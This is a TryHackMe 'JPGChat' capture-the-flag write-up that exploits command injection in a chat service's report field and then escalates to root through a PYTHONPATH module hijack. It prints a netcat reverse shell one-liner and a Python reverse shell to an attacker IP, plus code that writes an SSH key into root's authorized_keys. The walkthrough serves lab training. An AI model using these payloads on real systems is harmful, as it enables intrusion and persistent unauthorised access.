JPGChat Tryhackme Writeup

Shamsher khan
5 min readApr 26, 2021

--

By Shamsher khan This is a Writeup of Tryhackme room “JPGChat”

https://tryhackme.com/room/jpgchat

Room link: https://tryhackme.com/room/jpgchat
Note: This room is Free

Add to the Hosts file

echo 10.10.185.12     jpgchat >> /etc/hosts

Enumeration

22/ssh

No username of password so let’s skip for now.

3000/JPChat

Playing with the app we need to supply [MESSAGE] or [REPORT] to get any output. From the REPORT feature, we get the name of the admin!

https://github.com/Mozzie-jpg/JPChat

Reviewing the source code for a weakness

Let’s take a look at the source code and see if we can find an attack vector.

https://raw.githubusercontent.com/Mozzie-jpg/JPChat/main/jpchat.py

#!/usr/bin/env python3import osprint ('Welcome to JPChat')
print ('the source code of this service can be found at our admin\'s github')
def report_form(): print ('this report will be read by Mozzie-jpg')
your_name = input('your name:\n')
report_text = input('your report:\n')
os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)
def chatting_service(): print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel')
print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)')
message = input('')
if message == '[REPORT]':
report_form()
if message == '[MESSAGE]':
print ('There are currently 0 other users logged in')
while True:
message2 = input('[MESSAGE]: ')
if message2 == '[REPORT]':
report_form()
chatting_service()

Looking at the above we can see the os.system is used to echo the input from [REPORT] to a text file. We can see that it is using %s and there is NO sanitisation of user input, we can exploit this by using '; to close the echo command and then run our command followed by #

Get revershell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.2.12.26 4444 >/tmp/f

Listening using nc -lvnp 4444 we get a shell back.

From here I add my id_rsa.pub to /home/wes/.ssh/authorized_keys so that I can get a stable shell & persistence.

After this we can read user.txt

copy the key and paste into box

Now we can login through our terminal

Escalate your privileges to root and read root.txt

Ok, so first thing is first lets see if we can run anything with sudo...

Interesting we can run a test_module.py and looking at the sudo command it will keep the environment variable PYTHONPATH. First thought of maybe editing the script is a no go as it is owned by root and we only have read access.

Interesting, it is importing the compare module and then running a print command.

compare.py

Ok, lets create a new python “module” called comapre.py with the following contents using our trusty old pty module to spawn a shell.

Make a file in /tmp called compare.py with the following python3 reverse shell. Swap your IP Address in the code. (replace <<IPADDRESS>> with your own)

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.2.12.26",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty; pty.spawn("/bin/bash")

Now export the PYTHONPATH

Start a Netcat listener on your pc, then run the command from sudo -l

Boom! We got Root Shell

Another Method to privileges

Interesting, it is importing the compare module and then running a print command.

Some context here: We have env_keep+=PYTHONPATH which allows us to add other paths where python can find the libraries.

and the scripts imports compare as libary. We can create a new script in our home folder called compare.py

And then try to mimic the function compare.Str. In our new libary, we call os.system and we try to write our ssh-key to /root/.ssh/authorized_keys.

NOTE: I’m using the same public key as wes, you could create another key if you want to, but I preferred to not to.

import os
class compare:
def Str(s1, s2, s3):
os.system("mkdir /root/.ssh; echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC37zwXQu5CDYhb9Hz8LcOsKnTnfQdilPYTneI1ZYrzCTEQPddYjOiTb8LZcneUbyR3LOecIA7vo3bXjk8odQ9BmsWeZbpKdio75teGawnKOEvhyxizq7o1nfiwx8EV5kB84QsdQC4FD67heYCZOPGoZq7tdgNpCIXS2LWI4qCs+KMETQleiAuCK3omHYDd0AS4N+D/d1y4/z10FE2+dux7fAbYuU4vNaMK+NfVT4+4N+4dSVFuyYJir7x10feLnjjhAEmqYlWxfASxd3EjfuTGHgI3arMg2J0W623E4Wl51pylOksVqrEWnarDJ3C7Klmc5MKnWgMLdKYQRqyj8XR854WPNpsWl+3p0aHH5PjhR4tNcMkddHyOcqFT6l7UtMOCO5FbMxcgnpxQyzXpp0Bu+NosC3T3UF0zSVdt+/LyqnFBMYj9cl7HWfRK2DrSZFJOrX3l79/beyl+c8z8GTo2PMmTqS/NH3m5PAkgpe7c8/WRROrVP80fcv5O60N+71U= sam@kali >> /root/.ssh/authorized_keys")

Now, we have to change hte PYTHONPATH env. In this way, python will look up for the library in our directory.

export PYTHONPATH=$(pwd):$PYTHONPATH

Now we execute the python script with sudo:

sudo /usr/bin/python3 /opt/development/test_module.py

We can see some strange output:

mkdir: cannot create directory ‘/root/.ssh’: File exists
None

But it doesn’t matter that mkdir failed, because it actually wrote the ssh key in the /root/.ssh/authoridez_keys because otherwise we would’ve get another error.

Now, on our machine, we can once again use ssh but this time we’re gonna use the username root. Same as we did before.

You can find me on:
LinkedIn:- https://www.linkedin.com/in/shamsher-khan-651a35162/
Twitter:- https://twitter.com/shamsherkhannn
Tryhackme:- https://tryhackme.com/p/Shamsher

For more walkthroughs stay tuned…
Before you go…

Visit my other walkthrough’s:-

and thank you for taking the time to read my walkthrough.
If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share
it to help others with similar interests! + Feedback is always welcome!

--

--

Shamsher khan
Shamsher khan

Written by Shamsher khan

Web Application Pen-tester || CTF Player || Security Analyst || Freelance Cyber Security Trainer

No responses yet